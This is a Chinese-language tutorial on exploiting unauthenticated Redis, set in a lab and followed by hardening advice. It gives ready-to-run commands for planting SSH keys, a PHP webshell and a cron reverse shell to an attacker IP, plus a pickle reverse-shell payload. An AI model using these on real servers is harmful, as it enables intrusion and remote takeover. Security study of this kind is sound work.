Redis漏洞之殇
字数 1058 2025-08-11 17:40:12

Redis未授权访问漏洞分析与利用指南

一、漏洞概述

Redis未授权访问漏洞是由于Redis服务配置不当导致的安全问题,攻击者可以利用该漏洞获取服务器权限。主要成因包括:

  • Redis绑定在0.0.0.0:6379且无防火墙限制
  • 未设置密码认证(默认为空)
  • 以root权限运行Redis服务

二、漏洞环境搭建

靶机环境(CentOS7)

  1. 安装Redis:yum install redis
  2. 修改配置文件/etc/redis.conf
    #bind 127.0.0.1  //注释此条
    protected-mode no  //关闭保护模式
    daemonize yes     //后台运行
    
  3. 启动服务:redis-server /etc/redis.conf

三、Redis基本命令

set testkey "Hello World"  # 设置键值
get testkey               # 获取键值
keys *                    # 列出所有键
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
save                      # 执行备份
flushall                  # 删除所有数据
del key                   # 删除指定键

四、漏洞利用方式

1. 远程连接验证

攻击机执行:redis-cli -h 靶机IP
无需认证直接连接即存在漏洞

2. 写入SSH公钥

步骤:

  1. 攻击机生成密钥:ssh-keygen -t rsa
  2. 格式化公钥:
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > 1.txt
    
  3. 写入Redis:
    cat 1.txt | redis-cli -h 靶机IP -x set payload
    
  4. 设置目录和文件名:
    config set dir /root/.ssh
    config set dbfilename "authorized_keys"
    save
    
  5. SSH连接:ssh -i id_rsa root@靶机IP

3. 写入Webshell

  1. 靶机启动PHP服务:php -S IP:PORT
  2. Redis操作:
    config set dir /tmp
    set payload "\n\n<?php @eval($_POST['redis']);?>\n\n"
    config set dbfilename shell.php
    save
    

4. 定时任务反弹Shell

  1. Redis操作:
    config set dir /var/spool/cron/
    config set dbfilename root
    set xxx "\n\n* * * * * bash -i >& /dev/tcp/攻击机IP/端口 0>&1\n\n"
    save
    

5. 使用Metasploit框架

可用模块:

auxiliary/scanner/redis/file_upload      # 文件上传
auxiliary/scanner/redis/redis_login      # 密码爆破
auxiliary/scanner/redis/redis_server     # 密码验证
exploit/linux/redis/redis_unauth_exec    # 获取shell

五、Redis主从复制漏洞(4.x/5.x)

利用原理

  1. 攻击者伪装成Redis主节点
  2. 受害者设置为从节点(slaveof)
  3. 通过全量复制传输恶意.so文件
  4. 加载恶意模块执行任意命令

利用步骤

  1. 设置恶意主节点
  2. 受害者执行:slaveof 攻击机IP 端口
  3. 设置备份文件名为.so
  4. 触发全量传输
  5. 加载恶意模块

六、漏洞修复方案

  1. 网络层限制

    • 修改redis.confbind 内网IP
    • 配置防火墙规则限制访问IP
  2. 认证加固

    • 设置密码:requirepass 复杂密码
    • 禁用危险命令:修改redis.conf
      rename-command FLUSHALL ""
      rename-command CONFIG ""
      rename-command EVAL ""
      
  3. 权限控制

    • 禁止root运行:useradd -M -s /sbin/nologin redis
    • 设置文件权限:chmod 600 /path/redis.conf
  4. 其他措施

    • 修改默认端口
    • 开启保护模式:protected-mode yes
    • 定期更新Redis版本

七、Python反序列化结合Redis未授权案例

import redis
import pickle

# 恶意序列化数据
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('bash -i >& /dev/tcp/攻击机IP/端口 0>&1',))

# 写入Redis
r = redis.StrictRedis(host='靶机IP', port=6379)
r.set('payload', pickle.dumps(Exploit()))

当受害者应用反序列化该数据时触发RCE。

八、参考资源

  1. Redis安全配置最佳实践
  2. Redis未授权访问漏洞分析报告
  3. 主从复制漏洞利用技术细节
  4. 最新CVE漏洞公告

注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。

Redis未授权访问漏洞分析与利用指南 一、漏洞概述 Redis未授权访问漏洞是由于Redis服务配置不当导致的安全问题,攻击者可以利用该漏洞获取服务器权限。主要成因包括: Redis绑定在0.0.0.0:6379且无防火墙限制 未设置密码认证(默认为空) 以root权限运行Redis服务 二、漏洞环境搭建 靶机环境(CentOS7) 安装Redis: yum install redis 修改配置文件 /etc/redis.conf : 启动服务: redis-server /etc/redis.conf 三、Redis基本命令 四、漏洞利用方式 1. 远程连接验证 攻击机执行: redis-cli -h 靶机IP 无需认证直接连接即存在漏洞 2. 写入SSH公钥 步骤: 攻击机生成密钥: ssh-keygen -t rsa 格式化公钥: 写入Redis: 设置目录和文件名: SSH连接: ssh -i id_rsa root@靶机IP 3. 写入Webshell 靶机启动PHP服务: php -S IP:PORT Redis操作: 4. 定时任务反弹Shell Redis操作: 5. 使用Metasploit框架 可用模块: 五、Redis主从复制漏洞(4.x/5.x) 利用原理 攻击者伪装成Redis主节点 受害者设置为从节点(slaveof) 通过全量复制传输恶意.so文件 加载恶意模块执行任意命令 利用步骤 设置恶意主节点 受害者执行: slaveof 攻击机IP 端口 设置备份文件名为.so 触发全量传输 加载恶意模块 六、漏洞修复方案 网络层限制 修改 redis.conf : bind 内网IP 配置防火墙规则限制访问IP 认证加固 设置密码: requirepass 复杂密码 禁用危险命令:修改 redis.conf : 权限控制 禁止root运行: useradd -M -s /sbin/nologin redis 设置文件权限: chmod 600 /path/redis.conf 其他措施 修改默认端口 开启保护模式: protected-mode yes 定期更新Redis版本 七、Python反序列化结合Redis未授权案例 当受害者应用反序列化该数据时触发RCE。 八、参考资源 Redis安全配置最佳实践 Redis未授权访问漏洞分析报告 主从复制漏洞利用技术细节 最新CVE漏洞公告 注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。